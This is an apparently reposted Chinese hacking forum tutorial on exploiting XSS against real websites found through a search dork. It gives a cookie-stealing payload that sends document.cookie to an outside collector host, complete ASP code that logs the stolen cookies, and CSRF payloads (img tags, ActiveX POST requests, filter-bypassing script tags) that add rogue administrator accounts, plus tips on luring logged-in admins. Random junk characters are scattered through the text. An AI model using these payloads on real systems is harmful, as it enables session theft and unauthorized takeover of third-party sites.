前天贴吧一位朋友发了个后台XSS利用的帖子,大家就一起讨论了讨论,原帖为:
" z$ ~- h$ ]) e6 k+ _7 y& T
0 \% }5 @& u H" a$ v Hhttp://tieba.baidu.com/f?kz=1069007239: e: c7 x- y' l1 ~7 b- b2 n
( }; n1 U2 Z1 _7 u这个帖子说的只是一个思路,不是很详细,并且说的是利用后台XSS挂马的情况,但是其实在后台挂马一般是不会牵扯到XSS的,只是一个过滤不过滤转换不转换的问题,比如很多带编辑器的后台,都是不过滤不转换在文章中的html代码的,比如eweb,你可以直接编辑发表文章的时候的html代码,这就为挂马、盗cookie提供了很多机会。
/ n3 g( w j7 x3 K# h7 d6 b4 }+ f) k0 e4 E
但是,我想说的是,即使是挂马、盗cookie,也是不会使用location这种手法的,因为这样太明显了,一般都是使用普通挂马的手法的,比如iframe、JS等等。
' O p; U/ B/ t9 g: I6 ~
f! o! v% ]- K1 I我在上边的帖子中说作者讲的不是很详细,希望出一个详细点的利用教程,于是今天又一位朋友就发了一个详细些的文章,我这里就发大博客里,让更多需要的朋友看到这篇文章。
2 R3 h( g7 a5 S h
' ^! }; s* t! Y( ?$ Z8 I1 g这个文章是对XSS的一个很简单的利用,原理很简单,主要用于科普,只是想让朋友们知道,XSS并不是简单的弹个框框玩那么简单的,是有很多利用价值的,在国外,XSS已经被列为网站杀手之一,包括国内的很多大站,大家都把心思放到了防范SQL注入上,相应的对XSS的防范就很少,这也是XSS总是能成功的原因之一。
8 {3 K2 j1 f3 |( v) H6 ^8 z7 W' d, _9 Z0 }( L4 K8 @8 H' p
好了,废话不多说了,一起来看文章吧。
' B& {: W+ ^% f" t2 B z2 m0 a, c. A, [4 L A4 g' a4 Q3 q1 \
-------------------------------------------------------------------6 [( A8 M1 y: O4 y: Q
. ?8 ~3 ?4 v$ X& ` v# D' G$ G首先要找到一个有XXS的站,这里就不整什么大站了,谷歌一下inurl:'Product.asp?BigClassName',搜出来的命中率也比较高。随便找一个,先<script>alert('xxs')</script>一下。呵呵,框框出来了。. Z/ y5 ?+ G" q' X- _2 A
+ r d9 B/ e/ M6 p9 x* M
6 q/ R$ t* n Z- W6 C
, a& V9 n' L. R8 R. O
再看看自己的Cookie吧,把alert里面的内容换成document.cookie就可以了,如图:
. e5 \9 A7 _2 W1 A& e6 N' V/ K: v+ }+ k- s e" z% k2 z* ^
5 D% v8 Q- d! s
8 \% ~% z7 G. ]- |9 A; |这里就是要把弹出来框框里的东西收集到我们的记事本里。这里,要玩这个步骤就需要一个你自己的站点,具体思路就是
5 \ [0 ?6 ?6 I1:让目标访问已跨站的网址,然后这个网址执行脚本
- S/ A' p0 n, o# L/ R2:然后跳转到你已经写好专门用来收集Cookie的网址
* M5 K2 s8 B9 z* z9 a# G' I' A5 j; T& _* i. W' `) g5 d0 q6 X! D' Y1 }
具体实现方法:
, N% B8 G+ ~+ K) Q; K先构造语句<script>window.open('http://dlgyi.rrvv.net/cookie.asp?msg='+document.cookie)</script>. {9 d, s' D7 W, n
这句话意思是打开一个新的窗口,访问http://dlgyi.rrvv.net/cookie.asp这个网址,并且通过msg传递一个变量,这里的变量就是我们要收集的cookie了。) I1 ~ X# i7 b0 J& E7 m
3 Y* j3 c1 I. M
这里需要自己写一个页面,也就是收集对方发过来cookie的页面,代码是这样的:
( H8 T# V* z6 c& Y
H/ C: o. {, Y& _+ ~# v<html>
2 M0 e' l$ J% ~/ C9 L<title>xx</title>
- a& i4 \4 }# I1 X<body>/ X3 W! Q( N% ~8 ^8 V
<%
2 ` ~& _0 X8 e5 Otestfile = Server.MapPath("code.txt") //先构造一个路径,也就是取网站根目录,创造一个在根目录下的code.txt路径,保存在testfile中
" b' L; M5 n: q+ h5 {/ xmsg = Request("msg") //获取提交过来的msg变量,也就是cookie值- x' M8 R x4 O O, ^" ]% s6 y% @
set fs = server.CreateObject("scripting.filesystemobject")创建一个fs对象9 t6 \ n/ j$ w' ~2 s/ f
set thisfile = fs.OpenTextFile(testfile,8,True,0)% U7 C8 ]0 Q& L- z) Z8 A. _1 c
thisfile.WriteLine(""&msg&"")//像code.txt中写入获取来的cookie
$ ?2 B4 N& }$ O( c6 F5 Pthisfile.close //关闭) ^: n# v8 m8 U
set fs = nothing
( J9 C' X1 g/ A4 b4 S2 W; N; O%>
5 d& v- v, n1 ?! y</body># N" L. r, L% O. B, Z, Q
</html>
5 r. U4 I9 c$ w" |. W$ u
" o; G* j0 V- o& T然后保存,放在你自己服务器上,如果有人点击构造好的XXS页面,就会自动在你网站的根目录生成一个文本:
_, Z- r2 `+ U. {7 B
% }) u, @6 K* ]4 Q. K6 j ; i4 O1 k; P" y+ W' r2 G: X( F7 d& k
8 [0 ~, V9 P* a' M; P" ^1 F7 }2 S" z& [7 Y
拿出来看看,呵呵,Cookie到手:) K7 e" `* a9 W5 q+ @- e% X' z
( }2 i$ _) v0 o+ J3 a$ `
' `+ Z, [# q7 O! C/ t
, { D, S; Q6 ` {) ~& Z本文只是抛砖引玉,而且没有多大的实战价值,一来很多网站都过滤掉了+号这个字符连接符,二来稍大点的站,也不会存在如此的XXS,本文旨在给新手一个练习的向导,毕竟不可能谁一开始学习就可以RI掉大站,从小站开始练手,一起进步。话说咱也是新手O(∩_∩)O~1 T1 V* @3 i4 ?( F
2 }; @+ m0 Y* W% B0 h" R
PS:一点小提示,如果提交<script>alert('xxs')</script>网站没有反应时,不要立刻就点X。你可以鼠标右击,查看一下网站的源码,看看网站到底过滤掉了什么字符,通过编码啊神马的发挥下智慧,绕过过滤。只要出现小框框,咱就胜利了。
* d4 p+ r3 P3 k. O8 M
1 }; q8 ~3 q5 s& |$ y; X-------------------------------------------------------------------
8 B( E# G7 u: G+ g. A( y) N% k( r# L0 P" w4 |* Q% ]
下面是我对这个帖子的回复,也一起贴过来吧:
6 o+ e* |/ g- f3 q1 U" C+ l1 j$ t+ {6 x6 A: w1 n
说实话,像这种后台XSS其实作用不大的,一般的小站你拿到cookie也没什么利用价值,大点的站的话,或许可以用cookie盗点装备什么的,但那牵扯的多了,不过对于普通脚本小子来说,日站的时候除非毫无办法了还会想到XSS的,不过日站时候的XSS利用方法跟这篇文章里讲的差不多的,可以借鉴一下。# U. n% A/ [, Y F5 l' h! Y2 r/ L2 `% x
: B J' t s( c% O/ o$ }8 I但是,这里的文章讲的是针对已经进入后台、拿shell无望又想多获得点东西的情况,说它鸡肋的原因是,你知道的,现在大部分站都是cookie+session的,并且一般用户名和密码不会直接放到cookie里了,这是它鸡肋的原因。
' @/ y9 ?$ |% l" Y- j; J再者,日站的时候盗cookie一般是想进后台,但是如果遇到网上有源码的情况的话,还可以进一步利用,比如添加个管理员什么的。
- R1 U7 G- E$ Y
7 E q5 W% a" T在文章的最后,顺便贴上一般XSS的利用思路,也不是原创,原文链接:
& _9 Q& F/ n# k; o; e7 j; Q) j& }% d+ y c* a7 H
http://user.qzone.qq.com/673116767/blog/12524525368 v) h/ h. u7 s1 c, g
2 v1 m# W( f5 ]" y一般发现一个xss漏洞后要做的基本上就是这些:
9 S* l+ [8 p) v; u1 p) x% r! f1 c3 @! J0 X
1. 伪造请求 使用$_REQUEST或$_GET
) I' z% H+ |3 \ w
" f- w& o& \' y+ r$ {+ [) Z首先我们要找找该网站使用的程序是不是在网上能找到源码,如果能找到源码的话,就去分析后台管理员更改密码或者增加管理员的页面,然后分析管理员使用的是不是$_REQUEST接收参数,如果是的话,我们使用该XSS漏洞构造一个请求,比如前台发表留言中可以使用HTML代码,那么我们就嵌入一个IMG元素:( s9 {+ v- P8 c3 l5 S
<img src="/admin/admin_add.asp?name=xxx&psd=yyy" />/ L: v+ [/ p( L- U+ W& R
当管理员登录管理后台后看到包含img的页面的时候,就伪造了一个增加后台管理员的请求,而该请求是由管理员发出的,所以顺利的增加了一个新的管理员。( Z* }2 [0 k- m' M s" [* k$ C
8 Y# H$ ?# a6 ?2 j" \' R
如果是可视文本编辑器,可以尝试使用输入: |/ k0 w: H- y6 V! r
http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy')$ G, \" {! X& O$ C: `2 b8 j% \
这样最终会构造出:% z$ ]$ F) v4 q9 ^1 Y$ v l
<img src="http://www.drvfan.com/xxx.jpg" onload="window.open('/admin/admin_add.asp?name=xxx&psd=yyy',0,0)" />
+ \7 L3 b- @/ U; ]9 ^总之要举一反三。9 F( T! i$ v; R2 Z
W9 g, {- `! _
2. 伪造请求 使用$_POST+ H) x1 ^/ @' P& y) N0 @2 | X
# d7 B |+ }0 a( _3 e) }当后台接收增加管理员或更改管理密码的变量时使用的是$_POST方式,那么第一种方法无效,我们视情况而定,如果没有过滤<script>,我们可以通过ajax方式来伪造请求,如:1 H; J' F( T9 e
<sc/*xss*/ript type="text/javascript">& w; |+ ^ b* \2 u
var aj = new ActiveXObject("MSXML2.XMLHTTP.3.0");
, l5 v3 C6 U# P# v1 _1 Xaj.open("POST", "/admin/admin_add.asp", false);+ G. q# v0 f1 U3 X
var postdata = 'name=xxx&psd=yyy';6 N7 M! Z( K* y2 y/ v( [
aj.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
- W# W9 x6 q; gaj.send(postdata);
! n% X. ~' Z$ y8 O3 Q7 | V% p</scr/*xss*/ipt>
( Y" I- ^) @% Y; y/*xss*/是HTML注释,用来绕过简单的对script代码块的过滤。
" z" E) b8 u7 O ^
! Z( R( ?% Y7 T! P& f3 R4 L0 B3. 跨站伪造请求 使用$_GET 或 $_REQUEST
" C' @5 R! J5 c6 s1 y
8 D% C! ]+ E! t S, w3 y$ N与第一种伪造请求的方式相似,但是第一种伪造请求是利用站内的xss漏洞进行的,而跨站伪造请求,是站外发起的,比如我在我的博客的首页放了这样一个图片) e" y4 S* K4 I! S, H5 }- I- e" Q. o1 c
<img src="http://www.drvfan.com/admin/admin_add.asp?user=xxx&psd=yyy"/>& m; E' }2 l, E7 j7 h
然后我跑到dvbbs上发帖子,“勾引”动网论坛的管理员来我的博客,如果动网论坛的管理员已经登录了他的管理后台,然后使用共享进程的浏览器(目前基于ie内核的myie,maxton等等还有firefox都是共享进程的)来访问我的博客,那么他的后台就会被加入一个用户。
2 c' T4 f6 Z' X& H+ H
8 i- ]& L4 s2 g7 g4 j4.跨站伪造请求 使用$_POST(0day)
' I' n0 \ |# B0 K$ J0 f. ^; j8 ^) B9 e& M5 F
如果入侵目标的管理后台使用的是$_POST方式来接受变量,那么我们无法在我们的网站跨站使用ajax的post方式提交数据过去,因为ajax是无法跨域的。- s6 d3 _1 ?7 a
) t: b+ _6 `2 }# N
但是我们可以在我们的网站放一个form,里面填写好数据,form的action为要利用的有漏洞的页面,然后当有人打开该页面的时候,我们就用js控制该form进行submit,ajax虽然不能跨域,但向域之外的地址提交form总是可以的。 a- S. \# x* k% p8 k6 r
5 y& n3 f/ c" p8 d6 F& |9 j0 T% o' W
总之,第3,4种方法成功几率要小一些,因为我们要想办法让已经登录自身后台的管理员,使用共享session的浏览器访问我们的伪造请求的页面,有一点社会工程学的技术含量。
) G+ s/ {7 H& R+ c7 }
+ g! y' S7 |1 KOK,该说的都说完了,Over。( _1 P! k e( \
|